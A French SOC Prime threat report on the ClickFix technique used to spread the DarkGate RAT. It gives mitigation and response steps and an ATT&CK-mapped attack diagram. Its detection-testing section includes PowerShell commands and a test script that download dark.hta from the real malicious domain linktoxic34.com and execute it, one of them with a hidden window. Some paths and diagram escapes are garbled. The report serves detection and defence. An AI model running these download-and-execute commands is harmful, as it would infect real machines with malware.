SOC Prime Bias: Medium

16 Déc 2025 21:06

Étude de Cas ClickFix : Malware DarkGate

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Étude de Cas ClickFix : Malware DarkGate
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit une méthode d’ingénierie sociale appelée ClickFix qui incite les utilisateurs à copier et exécuter une commande PowerShell, laquelle télécharge ensuite un fichier HTA malveillant. Ce fichier HTA à son tour télécharge des composants supplémentaires, y compris un script AutoIt qui crée des répertoires, dépose des fichiers et établit des communications C2. L’activité est attribuée à la campagne DarkGate et repose sur l’obfuscation base64 ainsi que la falsification du presse-papiers pour éviter une détection directe.

Enquête

Les analystes ont démêlé plusieurs couches de contenu encodé en base64 intégré dans une fausse page d’alerte d’extension de navigateur et ont récupéré la commande PowerShell responsable de la récupération de dark.hta depuis linktoxic34.com. Lorsque exécuté, le HTA déploie un exécutable AutoIt (fckhffh.a3x) qui exécute une routine DES et lance d’autres charges utiles. La télémétrie réseau capturée montre un trafic HTTP(S) vers le domaine malveillant, suivi par une exécution enchaînée de scripts PowerShell.

Mitigation

Les défenses recommandées incluent la formation des utilisateurs pour les dissuader de copier des extraits de code inconnus, désactiver la boîte de dialogue Exécuter de Windows via les stratégies de groupe et déployer des solutions antivirus basées sur le comportement. Bloquer de manière proactive le domaine malveillant et surveiller les exécutions de PowerShell anormales peut réduire significativement le risque d’infection par DarkGate.

Réponse

Si un événement lié à ClickFix est identifié, isolez le point d’extrémité concerné, arrêtez tous les processus malveillants, retirez les artefacts HTA et AutoIt, et effectuez une analyse forensic sur tous les dossiers créés lors de l’intrusion. Mettez à jour la logique de détection pour signaler les schémas d’exécution PowerShell et HTA suspects et assurez-vous que le domaine associé est bloqué dans tout l’environnement.

« graph TB %% Définition des Classes classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nœuds webpage_malicious[« <b>Actif</b> – Page Web Malveillante<br/>Contient PowerShell encodé en base64u2011 et obfuscation par inversion de chaine »] class webpage_malicious asset tech_html_smuggling[« <b>Technique</b> – <b>T1027.006</b> Fichiers ou Informations Obfusqués: HTML Smuggling<br/>PowerShell Base64 caché dans HTML/JavaScript »] class tech_html_smuggling technique tech_stripped_payloads[« <b>Technique</b> – <b>T1027.008</b> Fichiers ou Informations Obfusqués: Charges Dénudées<br/>Chaines base64 imbriquées dissimulent PowerShell »] class tech_stripped_payloads technique action_user_click[« <b>Action</b> – <b>T1204.001</b> Exécution Utilisateur: Lien Malveillant<br/>La victime clique sur le bouton « Comment réparer » »] class action_user_click action tech_clipboard_data[« <b>Technique</b> – <b>T1115</b> Données du Presse-papiers<br/>Le script copie la commande PowerShell dans le presse-papiers »] class tech_clipboard_data technique action_copy_paste[« <b>Action</b> – <b>T1204.004</b> Exécution Utilisateur: Copie et Collage Malveillants<br/>L’utilisateur colle la commande via Win+R et Ctrl+V »] class action_copy_paste action tech_powershell[« <b>Technique</b> – <b>T1059.001</b> Interprète de Commandes et Scripts: PowerShell<br/>Exécute la commande téléchargée »] class tech_powershell technique process_powershell[« <b>Processus</b> – PowerShell »] class process_powershell process tech_web_protocol[« <b>Technique</b> – <b>T1071.001</b> Protocole de la couche Application : Protocoles Web<br/>Télécharge un HTA sur HTTP(S) »] class tech_web_protocol technique file_dark_hta[« <b>Fichier</b> – dark.hta<br/>Charge HTA téléchargée depuis linktoxic34.com »] class file_dark_hta file tech_mshta[« <b>Technique</b> – <b>T1218.005</b> Exécution de Proxy Binaire Système : Mshta<br/>Exécute HTA via mshta.exe »] class tech_mshta technique process_mshta[« <b>Processus</b> – mshta.exe »] class process_mshta process tech_lateral_transfer[« <b>Technique</b> – <b>T1570</b> Transfert d’Outils Latéraux<br/>HTA dépose une archive ZIP avec des binaires supplémentaires »] class tech_lateral_transfer technique file_payload_zip[« <b>Fichier</b> – payload.zip<br/>Contient un script AutoIt et des binaires »] class file_payload_zip file tech_masquerading[« <b>Technique</b> – <b>T1036</b> Camouflage<br/>HTA présenté comme un utilitaire de réparation légitime »] class tech_masquerading technique tech_rtl_override[« <b>Technique</b> – <b>T1036.002</b> Camouflage : Inversion de Droiteu2011àu2011Gauche<br/>Encodage d’inversion de chaine pour échapper à la détection »] class tech_rtl_override technique tool_darkgate[« <b>Outil</b> – DarkGate RAT<br/>Fournit un accès distant persistant »] class tool_darkgate tool tech_remote_access[« <b>Technique</b> – <b>T1219</b> Outils d’Accès à Distance<br/>Établit des communications C2 »] class tech_remote_access technique %% Connexions webpage_malicious u002du002d>|utilise| tech_html_smuggling webpage_malicious u002du002d>|utilise| tech_stripped_payloads webpage_malicious u002du002d>|déclenche| action_user_click action_user_click u002du002d>|mène à| tech_clipboard_data tech_clipboard_data u002du002d>|active| action_copy_paste action_copy_paste u002du002d>|exécute| tech_powershell tech_powershell u002du002d>|exécute| process_powershell process_powershell u002du002d>|télécharge| tech_web_protocol tech_web_protocol u002du002d>|récupère| file_dark_hta file_dark_hta u002du002d>|exécuté par| tech_mshta tech_mshta u002du002d>|exécute| process_mshta process_mshta u002du002d>|dépose| tech_lateral_transfer tech_lateral_transfer u002du002d>|crée| file_payload_zip file_dark_hta u002du002d>|se fait passer pour| tech_masquerading file_dark_hta u002du002d>|obfusque avec| tech_rtl_override file_payload_zip u002du002d>|contient| tool_darkgate tool_darkgate u002du002d>|utilise| tech_remote_access « 

Flux d’attaque

Exécution de Simulation

Prérequis : Le Vérification Préliminaire de Télémétrie & de Base doit avoir été réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif d’Attaque & Commandes :
    Un attaquant qui a obtenu un accès de basse-privilège sur un hôte Windows compromis souhaite télécharger une charge utile HTA malveillante utilisée dans la campagne ClickFix. Pour rester discret, l’attaquant utilise PowerShell—un outil natif de Windows—de sorte qu’aucun binaire externe n’est introduit. La commande est exécutée directement dans la console (ou via une tâche planifiée) et inclut l’URL exacte que la règle surveille. Le téléchargement est stocké dans le %TEMP% répertoire de l’utilisateur et est ensuite exécuté via Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $out = "$env:TEMPdark.hta"
    Invoke-WebRequest -Uri $url -OutFile $out
    Start-Process -FilePath $out
  • Script de Test de Régression : (autosuffisant, reproduit les étapes ci-dessus)

    # Simulation de téléchargement de ClickFix HTA – déclenche la règle Sigma
    $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $destPath = "$env:TEMPdark.hta"
    
    try {
        Write-Host "[*] Téléchargement de la charge utile HTA malveillante en cours..."
        Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
        Write-Host "[+] Téléchargement terminé. Exécution de la charge utile..."
        Start-Process -FilePath $destPath -WindowStyle Hidden
    } catch {
        Write-Error "Échec du téléchargement ou de l'exécution : $_"
    }
  • Commandes de Nettoyage : (supprime le HTA téléchargé et toute instance en cours d’exécution)

    # Supprimer le fichier HTA et terminer tout processus résiduel
    $htaPath = "$env:TEMPdark.hta"
    if (Test-Path $htaPath) {
        Remove-Item $htaPath -Force
        Write-Host "[*] Fichier HTA supprimé."
    }
    # Tuer tout processus qui pourrait avoir été lancé depuis le HTA (exemple générique)
    Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force